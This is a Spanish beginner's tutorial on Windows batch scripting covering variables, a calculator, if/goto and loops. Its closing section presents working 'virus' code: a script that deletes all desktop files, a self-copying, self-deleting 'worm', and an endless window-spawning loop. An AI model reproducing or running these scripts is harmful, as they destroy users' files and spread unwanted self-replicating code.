domingo, 11 de septiembre de 2011

Manual Sencillo de Batch (2da Parte) By 2Fac3R

Hola de nuevo batchers newbies, espero que les haya gustado la primera parte de este
manual
, les recuerdo que soy 2Fac3R aka RocKeG (como quieran llamarme), en la primera
parte vimos lo mas basico de batch, que es, que podemos hacer, comandos basicos
y otras cosas, supongo que ya te haz estudiado varios comandos y y haz practicado con
ellos como lo hemos hecho con "md" y otros. Bien ya me conocen me extiendo mucho asi
que vamos al grano.

Bien en esta 2 parte voy a enseñarte mas comandos y mas cosas que haremos.
Empecemos;

VAMOS A HACER UNA CALCULADORA:

Primero que nada voy a explicar desde cero lo de las variables y como las utilizaremos
en la calculadora, como ya sabemos las variables varian xd dependiendo el contenido
que deseemos darle a tal variable vamos por un ejemplo que explique en la parte
anterior. Vamos a crear un programa donde preguntemos el nombre completo, la edad y
lo que te gusta de la programacion en batch, vamos al code:

Código: [Seleccionar]
@echo off
echo Hola
echo �Cual es tu nombre completo?
set /p nombre=
cls
echo �Cuantos a�os tienes?
set /p edad=
cls
echo �Que te gusta en el Batch?
set /p gustos=
cls
echo Hola %nombre% tienes %edad% a�os y lo que te gusta en el batch es %gustos%
echo espero que sigas estudiando :)
pause>nul
exit

Ahi esta nuestro codigo, vamos al grano con nuestra calculadora.
Bien lo que queremos hacer sera primero que nada que nuestra calculadora sume.
El codigo que voy a usar es "+" (mas) Vamos a hacer la calculadora. Vamos a
nuestro famoso algoritmo sintetizado, el programa lo que tendra que hacer sera que
nos pregunte un numero, despues otro y despues que los sume y nos muestre el
resultado en pantalla. Aqui hay un ejemplo simple:

Código: [Seleccionar]
@echo off
echo Bienvenido a mi primer programa util, xD.
:Elegir
echo �Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Salir
set /p hacer=
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :salir
cls
:Sumar
set /p num= Escribe el primer numero a sumar
cls
set /p num2= Escribe otro numero
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
echo �Quieres sumar otra vez?
echo.
set /p sov= Si/No
if %sov%==si goto :Sumar
if %sov%==no goto :Elegir
:Salir
echo Esta fue la primera calculadora que hago en Batch
pause
exit.

Bien, esta calculadora es simple, solo con sumar y salir en sus opciones, haz de
pensar
--Que co�o hiciste que es eso de if %hacer%==1 o 2 goto :Sumar. No aprendere nada
si no me explicas!!!--


Bien voy a explicarte, el comando "if" (sin comillas) nos hace algo "s�" pasa algo
sino no. El ejemplo es claro nos dice elige entre 1 y 2 y luego el comando "if" nos
dice si en la variable, el resultado es igual a 1 ir a tal etiqueta (etiqueta es
como un menu que se hace con :menu), en la otra si el resultado es "2" goto (ir a)
:Salir (etiqueta). Esa es una de las utilidades de "IF", despues veremos otras.
Ahora te toca a ti hacer una calculadora que sume, reste, divida y multiplique, los
codigos que tienes que usar son estos:

+ = Mas (Sumar)
- = Menos (restar)
* = Por (Multiplicar)
/ = Entre (Dividir)
= = igual (Resultado)

Antes de que se me olvide el comando "set /a" hace operaciones y los guarda en
variables, ejemplo:

Código: [Seleccionar]
echo Suma
set /a res= 1+1
echo %res%

Código: [Seleccionar]
echo Multiplicacion
set /a res1= 10/1
echo %res1%

Y asi lo de mas es historia, espero que hayas entendido lo de la calculadora, sino
postea tu duda, comentario o critica.
Vamos ahora con lo del bucle.


¿QUE ES UN BUCLE?

Un bucle es cuando un codigo se repite ciertas veces, por ejemplo en nuestro codigo
hacemos que el comando "start" se repita 10 veces y ese seria un bucle, tambien los
bucles pueden ser infinitos, que el comando start se repita infinitamente. Vamos a
un ejemplo:

Código: [Seleccionar]
@echo off
start
start
start
start
start
start
start
start
start
start
exit

--¿Que es lo que hace?--
Simple, inicia la consola de ms-dos 10 veces.
--Pero que flogera estar escribiendo 10 veces start para que se habra tal veces--
Si pero eso se te va a facilitar si hechas un poco de imaginacion. (como ya he dicho
antes, no les dare todo a la mano, tampoco lo busquen en internet a menos que no den
con el resultado, no es que yo sea malo, o no sepa como hacerlo, sino que esto te
servira para no ser tan flojos y piensen un poco en lo que deben hacer).
Vamos por otro ejemplo:
Vamos a iniciar un bucle infinito con una gran ayuda que es la etiqueta.

Código: [Seleccionar]
@echo off
:inicio
start
goto :inicio

Lo que hace esto es, crea una etiqueta llamada "inicio" despues en esa etiqueta
se coloca el comado start, despues se va otra vez a inicio. Lo cual el codigo
primero inicia ms-dos despues como se regresa a esa etiqueta se activa otra vez el
codigo, y asi sucesivamente.
Si eres avanzado seguramente diras:
--Que tonto, eso se puede hacer en 2 lineas de codigo, y segun el lo esta
sintetizando en 4--

Si, si estas en lo correcto (excepto por lo tonto, xD) recuerda que estoy dejando
la mayor parte a la imaginacion del nuevo usuario de batch. Que chiste tendria
decirle como hacerlo si solo lo copea y ya esta, no lo veo un buen aprendizaje,
sino eres de los que quiere aprender con mi metodo, busca otros manuales que hay
en la red (Que son muchisimos).
Bien dado mi discurso, voy ahora a explicar codigos que la mayoria los usamos en los
virus.
--Milagro!!!, por fin voy a aprender lo que me gusta, LOS VIRUS!!!--
Si, si eso es lo que la mayoria de los nuevos usuario quiere aprender, incluso hay
unos que empiezan (o empezaron) buscando "�Como hacer un virus en Batch?" y asi
llegaron a este foro o quizas a aprender C. Yo en lo personal es lo que mas me
interesa, la programacion y los malwares.
Supongamos que ya sabes lo que es un malware, ya sea virus, worm, troyano, etc.
Partiremos por hacer un simple virus que borre todos los archivos del escritorio.
el codigo sera:

Código: [Seleccionar]
@echo off
del %homepath%\escritorio\*.*
exit

Este simple code utiliza el comando del (delete) o sea borrar en espa�ol o eliminar
Tambien podemos hacerlo con "erase", seria el mismo code pero remplazamos el del
por erase y hace exatamente lo mismo, si quieres mas detalles recuerda usar el "/?".
Recuerda que estamos utilizando una variable de entorno para que nos funcione en
cualquier pc sin tener que especificar la ruta que por lo general seria esta:

C:\Documents and Settings\Usuario\Escritorio

Recuerda que es la mas usada pero hay muchisimos usuario que no tienen "c:\" sino
"Cualquiera:\". Bien ahora vamos a crear un worm lo cual es un gusano, lo que hace
el gusano es repetirse simualtaneamente a si mismo y/o copiarse en otras carpetas
hasta llenar el disco duro, vamos con el ejemplo se va a autocopiar solo una vez en
nuestro escritorio y se va a copiar en el usuario.

Código: [Seleccionar]
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
exit

Ejecutalo y veraz que en %homepath%\escritorio se ha creado el mismo archivo que
lo creo (que juego de palabras) tambien en %homepath%, el "%0" sirve para referirnos
al archivo que se esta ejecutando, vamos por un ejemplo mas complejo suponiendo que
nuestro archivo se llama "prueba.bat":

Código: [Seleccionar]
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
start %homepath%\escritorio\prueba.bat
start %homepath%\prueba.bat
del %0
exit

Explicamos el code, nos copea el mismo archivo que se esta ejecutando a el escritorio
y al usuario, despues se ejecutan los archivos nuevos copiados a tal carpeta y
despues se elimina el propio archivo para que no haya "rastro". Recuerda que puedes
modificar el code, con parametros, recuerda usar "/?" (sin comillas) para darte una
idea. El troyano no lo explicare en este manual dado que este es un manual basico.
Si te gusto puedes hacer lo que quieras con el (postearlo en otros foros, modificarlo y/o venderlo, xD.) siempre y cuando menciones quien fue el autor. Me despido.
Su amigo 2Fac3R
Zalu2.